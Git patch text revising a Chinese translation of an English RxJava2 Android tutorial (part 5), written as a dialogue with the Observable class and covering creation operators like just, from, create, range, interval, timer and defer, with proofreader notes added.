+大家好,希望你们都过的不错。这是我们 RxJava2 Android 系列的第五篇文章 [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ] 。在这篇文章中，我们会继续研究 Rx Java Android 。
 
 **Motivation:**
 
-*目标：**
+**动机**：
 
 Motivation is same which I share with you in [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/). This time we will see, a lot of things in action which we already learned in last four posts.
 
-目标和我在 [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)中分享给大家的一样。现在我们来之前4篇学的东西融会贯通起来。
+动机和我在第一部分 [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/) 中分享给大家的一样。现在我们来把之前 4 篇学到的东西融会贯通起来。
 
 **Introduction:**
 
@@ -31,71 +31,71 @@ Motivation is same which I share with you in [part1](http://www.uwanttolearn.com
 
 When I am learning Rx Java Android. One day I met with a Rx Java Observable. So I asked a lot of questions and good news is Observable is really good and down to earth which amazed me. I have a opinion this Rx Java is really bad and full of pride. He/She don’t want to make friendship with lot of developers instead that play with developers and bluff them but after I start my dialogue with him/her I am amazed my opinion is wrong.
 
-当我在学习Rx java Android的时候，有一天我碰到了一个Rx Java的被观察君。所以我问了好多问题，好消息是被观察君人很好很厚道，令我惊叹不已。我一直以为 Rx Java 是个大坑逼。他/她不想和开发者做朋友，总给他们穿小鞋。
-但是在和他/她谈话以后，我很惊讶我的观点是错的。
+当我在学习 Rx java Android 的某一天，我有幸与一位 Rx Java 的 Observable 类进行了亲切友好的交谈。好消息是 Observable 类很厚道，令我惊叹不已。我一直以为 Rx Java 是个大坑逼。他/她不想和开发者做朋友，总给他们穿小鞋。
+但是在和 Observable 类谈话以后，我惊喜的发现我的观点是错的。
 
 Me: Hello Observable. How are you?
 
-我：你好被观察君，吃了嘛您？
+我：你好，Observable 类，吃了嘛您？
 
 Observable: Hi Hafiz Waleed Hussain, I am good. Thank you.
 
-你好 Hafiz Waleed Hussain ，吃过啦。
+Observable 类：你好 Hafiz Waleed Hussain ，我吃过啦。
 
 Me: Why your learning curve is really tough? Why you are not easy for developers? You don’t want to make friendship with Developers.
 
-为啥你的学习曲线这么陡峭？为啥你故意刁难开发者？你这是拒人于千里之外啊。
+我：为啥你的学习曲线这么陡峭？为啥你故意刁难开发者？你这么搞要没朋友了。
 
 Observable: Haha. Truly saying. I really want to make lot of friends instead I have some very good friends. Which discuss about me on different forums and they are talking about me and my powers. These guys are really good in lot of things, they are spending a lot of hours with me. So for a good friend ship you need to give your time with sincerity. But there is one issue, some developers wants  to make friendship with me but they are not sincere. They start working on me but after some minutes they open social websites and forgot me about hours. So how you can expect from me, I will be a good friend of a developer who is not sincere with me.
 
-被观察者君：木哈哈，你说的是。我真想交很多朋友，不过我现在也有一些好哥们儿。他们在不同的论坛上谈论我，介绍我和我的洪荒之力。而且这些家伙疹的很棒，他们花了很久的时间和我呆在一起。只有精诚所至，才会金石为开。但问题是，很多想撩我的人只走肾不走心。他们关注我了一小会就去刷微博，把我给忘了。想要马儿跑，又想马儿不吃草，我也很为难啊！
+Observable 类：哈哈，你说的是。我真想交很多朋友，不过我现在也有一些好哥们儿。他们在不同的论坛上讨论我，介绍我和我的能力。而且这些家伙真的很棒，他们花了很久的时间和我呆在一起。只有精诚所至，才会金石为开。但问题是，很多想撩我的人只走肾不走心。他们关注我了一小会就去刷推特，把我给忘了。所以说，对我不真诚的人又如何指望我和他们交朋友呢？
 
 Me: Okay If I want to make a friendship with you. What I will do?
 
-我：好吧，我想和你捡肥皂，我该怎么做？
+我：好吧，如果想和你交朋友的话，我该怎么做？
 
 Observable: Do a proper focus on me. Give me proper time then you will see how frankly I am.
 
-被观察君：如果你愿意一层一层一层一层的剥开我的心，你才会看到我的全心全意。
+Observable 类：把注意力集中在我身上，并且坚持足够长的时间，然后你就知道我有多真诚了。
 
 Me: Hmm. Honestly I am not good in focus but I am good in ignoring. Can I use my ignoring power.
 
-我：嗯，实话实说我不是一个专心的人，但是我擅长走神。这样可以嘛？
+我：嗯，实话实说我不擅长集中精神，但是我擅长无视周围。这样可以嘛？
 
 Observable: Yes, if you ignore everything except me when you are working on me. I will be a your good friend.
 
-被观察君：当然，如果你和我在一起的时候可以两耳不闻窗外事，伦家就是你的人了。
+Observable 类：当然，只要你和我在一起的时候可以心无旁骛，我会是你的好朋友的。
 
 Me: Wow. I have a feeling then I can make you my friend.
 
-我：哇哦，我有种预感：你会是我的好基友的。
+我：哇哦，我有种预感，我会和你交上朋友的。
 
 Observable: Yes any body can make me his best friend.
 
-被观察军：当然，任何人都可以把我当好基友。
+Observable 类：当然，任何人都可以把我当好朋友。
 
 Me: Now I have some questions. Can I ask?
 
-我：现在我有些问题，我可以问了嘛？
+我：现在我有些问题，可以问了嘛？
 
 Observable: Yes you can ask thousands of questions. I will give you answer but one important thing I need your time with sincerity.
 
-被观察君：当然，你可以问成千上万个问题。我会给你答案，但是重要的是我需要你花时间去思考和吸收。
+Observable 类：当然，你可以问成千上万个问题。我会给你答案，但是重要的是需要你自己花时间去思考和吸收。
 
 Me: Sure. If I have a some data and I want to convert that into Observable. How I can achieve that in Rx Java 2 Android.
 
-我：当然。如果我想把数据转化为 Observable 类，在 Rx Java 2 Android 里怎么实现？
+我：我会的。如果我想把数据转化为 Observable 对象，在 Rx Java 2 Android 里怎么实现？
 
 Observable: This question which you asked me has a very long answer. If you go inside of me (Rx Java 2 Observable class). You will know I have total **12904** lines of code.
 
-被观察君：这个问题的答案很长很长。如果你来看我（Rx Java 2 Observable 中的 Observable 类）的源码，你就会发现我一共有12904行代码。
+Observable 类：这个问题的答案很长很长。如果你来看我（Rx Java 2 Observable 类）的源码，你就会发现我一共有12904行代码。**（校对 wbinarytree 注：在 RxJava 2.0.9 版本。Observable 类已经成功增肥到 13728 行。）**
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM-1024x527.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM.png)
 
 Every method will return you Observable. Yes I have a lot of friends in my community which I use to make my self according to Developer requirement like map, filter and more but I am here going to share with you some methods which will help you to make any thing as Observable. Sorry because I have a feeling answer will be long but that will not be boring. I will not only show you methods to create Observable instead I will share with you how you refactor your current data objects to Observable with suitable method.
 
 
-我身边也有好几个臭皮匠，可以根据开发者的需求返回 Observable 类，比如 map ，filter。不过现在我会告诉你几个可以帮助你把任何东西转化为 Observable 类的方法。抱歉我决定回答会很长，但是也不会很无聊。我不仅仅会演示这些方法如何创建 Observable 类，同时我也会和你分享对你手头边代码进行重构的正确姿势。
+我的团队里也有好几个朋友，可以根据开发者的需求返回 Observable 对象，比如 map ，filter。不过现在我会告诉你几个可以帮助你把任何东西转化为 Observable 类的方法。抱歉我的回答可能会很长，但是也不会很无聊。我不仅仅会演示这些方法如何创建 Observable 类，同时也会和你像你展示如何对手头边代码进行重构。
 
 1. just():
 
@@ -103,36 +103,36 @@ Every method will return you Observable. Yes I have a lot of friends in my commu
 
 By using this method you can convert any object(s) into Observable that emit that object(s).
 
-通过这个方法，你可以把任意（多个）类转化成泛型是该类的 Observable 类。
+通过这个方法，你可以把任意（多个）对象转化成以此对象为泛型的 Observable 对象（ Observable<T> ）。
 
 ```
-    String data = "Hello World";
+String data= "Hello World";
     Observable.just(data).subscribe(s -> System.out.println(s));
-    Output:
+Output:
     Hello World
 ```
 
 If you have more then one data objects you can use same API like shown below.
 
-如果有不止一个的数据，你可以像下面那样调用 just 方法 ：
+如果你的数据不止一个，可以像下面那样调用 just 方法 ：
 
 ```
-    String data = "Hello World";
-    Integer i = 4500;
-    Boolean b = true;
+String data= "Hello World";
+Integer i= 4500;
+Boolean b= true;
     Observable.just(data,i,b).subscribe(s -> System.out.println(s));
-    Output:
+Output:
     Hello World
     4500
     true
 ```
 Maximum you can use 10 data objects in this API.
 
-此 API 最大可接收 10 个数据做参数。
+此 API 最多可接收 10 个数据做参数。
 
 ```
     Observable.just(1,2,3,4,5,6,7,8,9,10).subscribe(s -> System.out.print(s+" "));
-    Output:
+Output:
     1 2 3 4 5 6 7 8 9 10
 
 ```
@@ -145,14 +145,14 @@ Example in code: ( Not good one but may be you will get some direction, how to u
 
 ```
     public static void main(String[] args) {
-        String username = "username";
-        String password = "password";
+String username= "username";
+String password= "password";
         System.out.println(validate(username, password));
     }
     
     private static boolean validate(String username, String password) {
-    boolean isUsernameValid = username!=null && !username.isEmpty() && username.length() > 3;
-    boolean isPassword = password!=null && !password.isEmpty() && password.length() > 3;
+boolean isUsernameValid= username!=null && !username.isEmpty() && username.length() > 3;
+boolean isPassword= password!=null && !password.isEmpty() && password.length() > 3;
     return isUsernameValid && isPassword;
 }
 
@@ -164,35 +164,39 @@ Using Observable:
 使用 Observable 类进行重构：
 
 ```
-private static boolean isValid = true;
+private static boolean isValid= true;
 private static boolean validate(String username, String password) {
     Observable.just(username, password).subscribe(s -> {
-        if (!(s != null && !s.isEmpty() && s.length() > 3)) 
+if (!(s != null && !s.isEmpty() && s.length() > 3)) 
            throw new RuntimeException();
-    }, throwable -> isValid = false);
+}, throwable -> isValid= false);
     return isValid;
 }
 ```  
 
 
-2. from… :
+2. from…:
 
-2. from… :
+
+2. from…:
 
 I have a lot more API to convert your complex data structure into Observable which starting keyword is from as shown below.
 
-我有一大堆的 API 可以把复杂的数据结构转化为 Observable 类，比如下面那些以关键字 from 开头的方法：
+我有一大堆的 API 可以把复杂的数据结构转化为 Observable  对象，比如下面那些以关键字 from 开头的方法：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM-1024x187.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM.png)
 
 I think API name are really meaning full so no need for more explanation. Yes I will give some examples so you are comfortable when you are using in code.
 
-我想这些 API 的从名字就可以看懂它们的意思，所以也不需要更多解释了。不过我会给你一些例子，这样你可以在自己的代码里用的更舒服。
+我想这些 API 从名字就可以看懂它们的意思，所以也不需要更多解释了。不过我会给你一些例子，这样你可以在自己的代码里用的更舒服。
+
+**（校对 wbinarytree 注:
+虽然 fromCallable, fromPublisher, fromFuture 也是 from 开头的方法。但是他们互相之间区别很大。尤其是 fromCallable 和 fromPublisher。）**
 
 ```
 public static void main(String[] args) {
 
-    List<Tasks> tasks = Arrays.asList(new Tasks(1,"description"),
+List<Tasks> tasks= Arrays.asList(new Tasks(1,"description"),
             new Tasks(2,"description"),new Tasks(4,"description"),
             new Tasks(3,"description"),new Tasks(5,"description"));
     Observable.fromIterable(tasks)
@@ -201,9 +205,9 @@ public static void main(String[] args) {
 
 private static class Tasks {
     int id;String description;
-    public Tasks(int id, String description) {this.id = id;this.description = description;}
+public Tasks(int id, String description) {this.id= id;this.description = description;}
     @Override
-    public String toString() {return "Tasks{" + "id=" + id + ", description='" + description + '\'' + '}';}
+public String toString() {return "Tasks{" + "id=" + id + ", description='" + description + '\'' + '}';}
 }
 }
 ```
@@ -215,7 +219,7 @@ From array:
 
 ```
     public static void main(String[] args) {
-        Integer[] values = {1,2,3,4,5};
+Integer[] values= {1,2,3,4,5};
         Observable.fromArray(values)
                 .subscribe(v-> System.out.print(v+" "));
     }
@@ -226,16 +230,21 @@ Here two examples are enough. You can try others on your own.
 
 两个例子就够啦，回头你可以亲自试试其他的。
 
+3. create():
+
+
 3. create():
 
 You can define any thing you want as an Observable. This API will give you a lot of power but in my opinion before going to use this API try to search some other solution because I have a feeling 99% times you can get solution from my other API’s. If you are not able to get any solution of something then you can use.
 
-你可以把任何东西的定义为 Observable 。这个 API 过于勥，所以在我看来使用这个API之前，应该先找找有没有其他的解决方式。大约99%的情况下，你可以用其他的 API 来解决问题。如果实在找不到解决方式，那么就用它吧。
+你可以把任何东西强行转为 Observable 对象。这个 API 过于强大，所以个人建议使用这个API之前，应该先找找有没有其他的解决方式。大约99%的情况下，你可以用其他的 API 来解决问题。但如果实在找不到，那么就用它也可以。
+
+**(校对 wbinarytree 注：这里可能作者对 RxJava 2 的 create 还停留在 RxJava 1 的阶段。 RxJava 1.x 确实不推荐 create 方法。而 RxJava 2 的 create 方法是推荐方法。并不是 99% 的情况都可以被取代。 RxJava 1.x 的 create 方法现已经成为 RxJava 2.x 的 unsafeCreate ，RxJava 1.2.9 版本也加入了新的安全的 create 重载方法。)**
 
 ```
     public static void main(String[] args) {
-        final int a = 3, b = 5, c = 9;
-        Observable me = Observable.create(new ObservableOnSubscribe<Integer>() {
+final int a= 3, b = 5, c = 9;
+Observable me= Observable.create(new ObservableOnSubscribe<Integer>() {
             @Override
             public void subscribe(ObservableEmitter<Integer> observableEmitter) throws Exception {
                 observableEmitter.onNext(a);
@@ -250,6 +259,10 @@ You can define any thing you want as an Observable. This API will give you a lot
 ```
 4. range():
 
+
+4. range():
+ 
+
 That is just like a for loop as shown below in code.
 
 这就像是一个 for 循环，就像下面的代码显示的那样。
@@ -259,7 +272,7 @@ That is just like a for loop as shown below in code.
         Observable.range(1,10)
                 .subscribe(i-> System.out.print(i+" "));
     }
-    Output:
+Output:
     1 2 3 4 5 6 7 8 9 10
 ```
 
@@ -270,24 +283,29 @@ One more real example:
 ```
 public static void main(String[] args) {
 
-    List<String> names = Arrays.asList("Hafiz", "Waleed", "Hussain", "Steve");
-    for (int i = 0; i < names.size(); i++) {
-        if(i%2 == 0)continue;
+List<String> names= Arrays.asList("Hafiz", "Waleed", "Hussain", "Steve");
+for (int i= 0; i < names.size(); i++) {
+if(i%2== 0)continue;
         System.out.println(names.get(i));
     }
 
     Observable.range(0, names.size())
-            .filter(index->index%2==1)
+.filter(index->index%2==1)
             .subscribe(index -> System.out.println(names.get(index)));
 }
 ```
     
 
+5. interval():
+
+
 5. interval():
 
 This one is awesome. I am showing you one example in which you can compare two approaches. For first one I used a Java thread and for a second one I used my own interval() API and both have same result.
 
-这个 API 碉堡了。我用两种方法实现一种需求，你可以比较一下。第一种我用 Java 的线程来实现，另一种我用 interval() API ，两种方法会得到同一个结果。
+这个 API 碉堡了。我用两种方法实现同一种需求，你可以比较一下。第一种我用 Java 的线程来实现，另一种我用 interval() API ，两种方法会得到同一个结果。
+
+**（校对 wbinarytree 注：interval() 会默认在 Scheduler.compute 进行操作。）**
 
 ```
 public static void main(String[] args) {
@@ -309,11 +327,14 @@ public static void greeting(){
 }
 ```
     
+6. timer():
+
+
 6. timer():
 
 One more good API. In program if I want some thing will called after one second I can use timer Observable as shown below.
 
-又是一个好的 API。在程序中如果我想一秒钟后调用什么方法，可以用 timer Observable ，就像下面展示的那样：
+又是一个好的 API。在程序中如果我想一秒钟后调用什么方法，可以用 timer ，就像下面展示的那样：
 
 ```
 public static void main(String[] args) throws InterruptedException {
@@ -332,7 +353,7 @@ public static void greeting(){
 
 This is useful specially in mocking. This create Observable that emit nothing and complete. I am showing you one example in which if tests are running then send me mock data else the real one.
 
-这个 API 很有用，尤其是在有假数据的时候。这个 API 创建了一个什么都不包含，只有 complete 方法的 Observable 。我会给你一个例子，如果在测试运行时发送给我假数据，在生产环境下就调用真的数据。
+这个 API 很有用，尤其是在有假数据的时候。这个 API 创建了一个什么都不包含，只有 complete 方法的 Observable 类 。比如这个例子，如果在测试运行时发送给我假数据，在生产环境下就调用真的数据。
 
 ```
 public static void main(String[] args) throws InterruptedException {
@@ -340,7 +361,7 @@ public static void main(String[] args) throws InterruptedException {
 }
 
 private static Observable hey(boolean isMock) {
-    return isMock ? Observable.empty() : Observable.just(1, 2, 3, 4);
+return isMock ? Observable.empty(): Observable.just(1, 2, 3, 4);
 }
 ```
 
@@ -352,11 +373,11 @@ This is very use full in many cases. I am going to explain this one by using one
 
 ```
 public static void main(String[] args) throws InterruptedException {
-    Employee employee = new Employee();
-    employee.name = "Hafiz";
-    employee.age = 27;
-    Observable observable = employee.getObservable();
-    employee.age = 28;
+Employee employee= new Employee();
+employee.name= "Hafiz";
+employee.age= 27;
+Observable observable= employee.getObservable();
+employee.age= 28;
     observable.subscribe(s-> System.out.println(s));
 }
 
@@ -373,7 +394,7 @@ private static class Employee{
 
 What will be the output of the above code. If your answer is age should be 28 then you are wrong. Basically all creation methods of Observable will take the value which is available at the time of creation. Like if I do output I will get 27 because I create an Observable at that time when I have age 27 and later I change to 28 but observable already created. So what will be the solution? Yes you can use defer API. That is really helpful. When you use defer basically what happen Observable only created when you will subscribe so its mean by using this I will get my expected result.
 
-上面的代码会输出什么呢？如果你的答案是 age = 28 那就大错特错了。基本上所有创建 Observable 的方法在创建时就记录了可用的值。就像刚才的数据实际上输出的是 age = 27 ， 因为在我创建 Observable 的时候 age 值是 27 ，当我把 age 的值变成 28 的时候 Observable 类已经创建过了。所以怎么解决这个问题呢？是的，这个时候就轮到 defer API 出厂了。太有用了！当你使用 defer 的时候，只有注册（subscribe）的时候才创建 Observable 类。用这个 API ，我就可以获得想要的值。
+上面的代码会输出什么呢？如果你的答案是 age= 28 那就大错特错了。基本上所有创建 Observable 的方法在创建时就记录了可用的值。就像刚才的数据实际上输出的是 age = 27 ， 因为在我创建 Observable 的时候 age 值是 27 ，当我把 age 的值变成 28 的时候 Observable 类已经创建过了。所以怎么解决这个问题呢？是的，这个时候就轮到 defer 这个 API 出场了。太有用了！当你使用 defer 以后，只有注册（subscribe）的时候才创建 Observable 类。用这个 API ，我就可以获得想要的值。
 
 ```
 Observable getObservable(){
@@ -386,25 +407,27 @@ Now this time my age on output is 28.
 
 这样我们的 age 的输出值就是 28 了。
 
+**（校对 wbinarytree 注：Observable 的创建方法中，并不是像原文中写到的，“基本上所有创建 Observable 的方法在创建时就记录了可用的值”。而是只有 just, from 方法。 create , fromCallable 等等方法都是在 subscribe 后才会调用。文中的例子可以使用 fromCallable 代替 defer。）**
+
 8. error():
 
 Again useful to generate error signal. I will share with you when we will discuss about the Observer and there methods.
 
-一个可以弹出错误提示的方法。当我们讨论观察君（Observer 类）和他的方法的时候，我再和你分享吧。
+一个可以弹出错误提示的方法。当我们讨论 Observer 类和他的方法的时候，我再和你分享吧。
 
 9. never():
 
 This API emit nothing.
 
-这个 API 什么泛型都没有。
+这个 API 创建出的 Observable 对象没有包含泛型。**（译者注：Observable.never 虽然可以得到一个 Observable 对象，但是注册的对应 Observer 既不会调用 onNext 方法也不会 onCompleted 方法，甚至不会调用 onError 方法）**
 
 Me: Wow. Thank you Observable. For a long and robust answer. I will use that as a cheat sheet for me. Observable can you convert any function as a Observable.
 
-我：哇哦。谢谢你，被观察君。谢谢你耐心又详细的回答，我把你的回答记在我的秘籍手册上的。被观察君，你可以把函数转化 Observable 类吗？
+我：哇哦。谢谢你，Observable 类。谢谢你耐心又详细的回答，我把你的回答记在我的秘籍手册上的。话说，你可以把函数也转化 Observable 对象吗？
 
 Observable: Yes. Check below code.
 
-当然，注意下面的代码：
+Observable 类：当然，注意下面的代码。
 
  ```
  public static void main(String[] args) throws InterruptedException {
@@ -420,19 +443,19 @@ private static float scale(int width, int height){
  
 Me: Wow you are really powerful. Currently I want to ask you about operators like map, filter and more. But if you want to share with me about Observable creation. Which I am not able to ask you due to lack of knowledge please share with me.
 
-我：哇哦，你真的好流弊。现在我想问你有关操作符，比如 map ，filter方面的问题。但是有关 Observable 类创建，如果还有什么我因为缺乏知识没问到的地方，再多告诉我一点呗。
+我：哇哦，你真的好强大。现在我想问你有关操作符，比如 map ，filter 方面的问题。但是有关 Observable 类创建，如果还有什么我因为缺乏知识没问到的地方，再多告诉我一点呗。
 
 Observable: There is a lot. But I think I can explain here about two types of Observables. One is called Cold Observable and the second one is called Hot Observable. In Cold …
 
-被观察君：其实还有很多。我在这里介绍两类 Observable 类。一种叫做冷被观察者（Cold Observable）， 第二个是热被观察者（Hot Observable）。在冷...
+Observable 类：其实还有很多。我在这里介绍两类 Observable 类。一种叫做冷被观察者（Cold Observable）， 第二个是热被观察者（Hot Observable）。在冷...
 
 Conclusion:
 
-结语：
+总结：
 
 Hello Friends. This dialogue is very very long but I need to stop some where. Otherwise this post will be like a giant book which may be ok but the main purpose will be die and that is, I want we should learn and know everything practically. So I am going to pause my dialogue here I will do resume in next part. Only try your best to play with all these methods and if possible try to take your real world projects and refactor these for practice. In the end I want to say thanks to Rx Observable who give me a lot of his/her time.
 
-大家吼啊。这篇对话非常非常的长，我的暂停一下了。不然这篇文章就会像一部大部头的书，可能看上去不错但是主要目的就跑偏了。我希望，我们可以循序渐进的学习。所以我要暂停我的对话，然后在下一篇继续。你试试自己实现这些方法，如果可能的话在实际的项目中去运用、重构。最后我想说，谢谢被观察君给我了这么多他/她的时间。
+大家好。这篇对话已经非常非常的长，我需要就此搁笔了。不然这篇文章就会像大部头的书，可能看上去不错，但是主要目的就跑偏了。我希望，我们可以循序渐进的学习。所以我要暂停我的对话，然后在下一篇继续。读者可以试试亲自实现这些方法，如果可能的话在实际的项目中去运用、重构。最后我想说，谢谢Observable 类给我了这么多他/她的时间。
 
 Happy Weekend Friends Bye. 🙂
 
@@ -441,3 +464,4 @@ Happy Weekend Friends Bye. 🙂
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
+

From ded937c70cd0e5d5ea80c9bcd575a7e36156a340 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Sat, 29 Apr 2017 00:23:01 +0800
Subject: [PATCH 285/638] =?UTF-8?q?2017.4.29=20=E4=BF=AE=E6=AD=A3=E4=BA=86?=
 =?UTF-8?q?=E4=B8=80=E4=BA=9B=E6=A0=BC=E5=BC=8F=E4=B8=8A=E7=9A=84=E9=94=99?=
 =?UTF-8?q?=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...le-developer-android-rxjava2-hell-part5.md | 54 +++++++------------
 1 file changed, 20 insertions(+), 34 deletions(-)

diff --git a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
index 1c310ee6d4d..17a93e8e004 100644
--- a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
+++ b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
@@ -6,7 +6,7 @@
 
 ## Dialogue between Rx Observable and a Developer (Me)  [ Android RxJava2 ] ( What the hell is this ) Part5 ##
 
-## 开发者（ 也就是我 ）与Rx Observable 类 [ Android RxJava2 ] ( 这到底是什么？ ) 第五部分 ##
+## 开发者（也就是我）与Rx Observable 类 [ Android RxJava2 ] ( 这到底是什么？) 第五部分 ##
 
 
 WOW, we got one more day so its time to make this day awesome by learning something new 🙂.
@@ -15,7 +15,7 @@ WOW, we got one more day so its time to make this day awesome by learning someth
 
 Hello guys, hope you are doing good. This is our fifth post in series of RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ]. In this part we are going to work with Rx Java Android. Our prerequisites are done. So we can start now.
 
-大家好,希望你们都过的不错。这是我们 RxJava2 Android 系列的第五篇文章 [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ] 。在这篇文章中，我们会继续研究 Rx Java Android 。
+大家好，希望你们都过的不错。这是我们 RxJava2 Android 系列的第五篇文章 [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ] 。在这篇文章中，我们会继续研究 Rx Java Android 。
 
 **Motivation:**
 
@@ -23,7 +23,7 @@ Hello guys, hope you are doing good. This is our fifth post in series of RxJava2
 
 Motivation is same which I share with you in [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/). This time we will see, a lot of things in action which we already learned in last four posts.
 
-动机和我在第一部分 [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/) 中分享给大家的一样。现在我们来把之前 4 篇学到的东西融会贯通起来。
+动机和我在第一部分 [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/) 中分享给大家的一样。现在我们把之前 4 篇学到的东西融会贯通起来。
 
 **Introduction:**
 
@@ -48,7 +48,7 @@ Me: Why your learning curve is really tough? Why you are not easy for developers
 
 Observable: Haha. Truly saying. I really want to make lot of friends instead I have some very good friends. Which discuss about me on different forums and they are talking about me and my powers. These guys are really good in lot of things, they are spending a lot of hours with me. So for a good friend ship you need to give your time with sincerity. But there is one issue, some developers wants  to make friendship with me but they are not sincere. They start working on me but after some minutes they open social websites and forgot me about hours. So how you can expect from me, I will be a good friend of a developer who is not sincere with me.
 
-Observable 类：哈哈，你说的是。我真想交很多朋友，不过我现在也有一些好哥们儿。他们在不同的论坛上讨论我，介绍我和我的能力。而且这些家伙真的很棒，他们花了很久的时间和我呆在一起。只有精诚所至，才会金石为开。但问题是，很多想撩我的人只走肾不走心。他们关注我了一小会就去刷推特，把我给忘了。所以说，对我不真诚的人又如何指望我和他们交朋友呢？
+Observable 类：哈哈，你说的是。我真想交很多朋友，不过我现在也有一些好哥们儿。他们在不同的论坛上讨论我，介绍我和我的能力。而且这些家伙真的很棒，他们花了很久的时间和我呆在一起。只有精诚所至，才会金石为开。但问题是，很多想撩我的人只走肾不走心。他们关注我了一小会就去刷推特脸书，把我给忘了。所以说，对我不真诚的人又如何指望我和他们交朋友呢？
 
 Me: Okay If I want to make a friendship with you. What I will do?
 
@@ -95,9 +95,7 @@ Observable 类：这个问题的答案很长很长。如果你来看我（Rx Jav
 Every method will return you Observable. Yes I have a lot of friends in my community which I use to make my self according to Developer requirement like map, filter and more but I am here going to share with you some methods which will help you to make any thing as Observable. Sorry because I have a feeling answer will be long but that will not be boring. I will not only show you methods to create Observable instead I will share with you how you refactor your current data objects to Observable with suitable method.
 
 
-我的团队里也有好几个朋友，可以根据开发者的需求返回 Observable 对象，比如 map ，filter。不过现在我会告诉你几个可以帮助你把任何东西转化为 Observable 类的方法。抱歉我的回答可能会很长，但是也不会很无聊。我不仅仅会演示这些方法如何创建 Observable 类，同时也会和你像你展示如何对手头边代码进行重构。
-
-1. just():
+我的团队里也有好几个朋友，可以根据开发者的需求返回 Observable 对象，比如 map ，filter。不过现在我会告诉你几个可以帮助你把任何东西转化为 Observable 对象的方法。抱歉我的回答可能会很长，但是也不会很无聊。我不仅仅会演示这些方法如何创建 Observable 类，同时也会向你展示如何对手头边代码进行重构。
 
 1. just():
 
@@ -175,9 +173,6 @@ if (!(s != null && !s.isEmpty() && s.length() > 3))
 ```  
 
 
-2. from…:
-
-
 2. from…:
 
 I have a lot more API to convert your complex data structure into Observable which starting keyword is from as shown below.
@@ -215,7 +210,7 @@ public String toString() {return "Tasks{" + "id=" + id + ", description='" + des
     
 From array:
 
-从数组转化为 Observable 类
+从数组转化为 Observable 对象
 
 ```
     public static void main(String[] args) {
@@ -230,9 +225,6 @@ Here two examples are enough. You can try others on your own.
 
 两个例子就够啦，回头你可以亲自试试其他的。
 
-3. create():
-
-
 3. create():
 
 You can define any thing you want as an Observable. This API will give you a lot of power but in my opinion before going to use this API try to search some other solution because I have a feeling 99% times you can get solution from my other API’s. If you are not able to get any solution of something then you can use.
@@ -258,9 +250,6 @@ Observable me= Observable.create(new ObservableOnSubscribe<Integer>() {
 
 ```
 4. range():
-
-
-4. range():
  
 
 That is just like a for loop as shown below in code.
@@ -296,14 +285,11 @@ if(i%2== 0)continue;
 ```
     
 
-5. interval():
-
-
 5. interval():
 
 This one is awesome. I am showing you one example in which you can compare two approaches. For first one I used a Java thread and for a second one I used my own interval() API and both have same result.
 
